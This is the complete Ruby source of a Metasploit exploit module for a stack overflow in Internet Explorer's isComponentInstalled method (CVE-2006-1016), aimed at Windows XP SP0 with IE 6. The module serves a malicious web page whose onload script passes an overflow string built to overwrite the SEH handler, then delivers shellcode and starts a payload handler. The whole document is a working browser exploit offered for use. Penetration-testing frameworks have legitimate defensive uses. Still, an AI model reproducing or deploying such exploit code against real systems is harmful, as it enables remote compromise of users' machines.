This Metasploit module exploits a stack overflow in Internet Explorer. This bug was patched in Windows 2000 SP4 and Windows XP SP1 according to MSRC.
5033e002a24ff1bb12912fdbd65bf54856f11e553edfa19caf2a0a3e7345e52d##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Seh
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer isComponentInstalled Overflow',
'Description' => %q{
This module exploits a stack overflow in Internet Explorer. This bug was
patched in Windows 2000 SP4 and Windows XP SP1 according to MSRC.
},
'License' => MSF_LICENSE,
'Author' =>
[
'hdm',
],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2006-1016' ],
[ 'OSVDB', '31647' ],
[ 'BID', '16870' ],
],
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x5c\x0a\x0d\x22",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['Windows XP SP0 with Internet Explorer 6.0', { 'Ret' => 0x71ab8e4a } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 24 2006'))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Create the overflow string
pattern = rand_text_alpha(8192)
# Smash the return address with a bogus pointer
pattern[744, 4] = [0xffffffff].pack('V')
# Handle the exception :-)
seh = generate_seh_payload(target.ret)
pattern[6439, seh.length] = seh
# Build out the HTML response page
var_client = rand_text_alpha(rand(30)+2)
var_html = rand_text_alpha(rand(30)+2)
content = %Q|
<html >
<head >
<script >
function window.onload() {
#{var_client}.style.behavior = "url(#default#clientCaps)" ;
#{var_client}.isComponentInstalled( "__pattern__" , "componentid" ) ;
}
</script >
</head >
<body id = "#{var_client}" > #{var_html}
</body >
</html >
|
content = Rex::Text.randomize_space(content)
# Insert the shellcode
content.gsub!('__pattern__', pattern)
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
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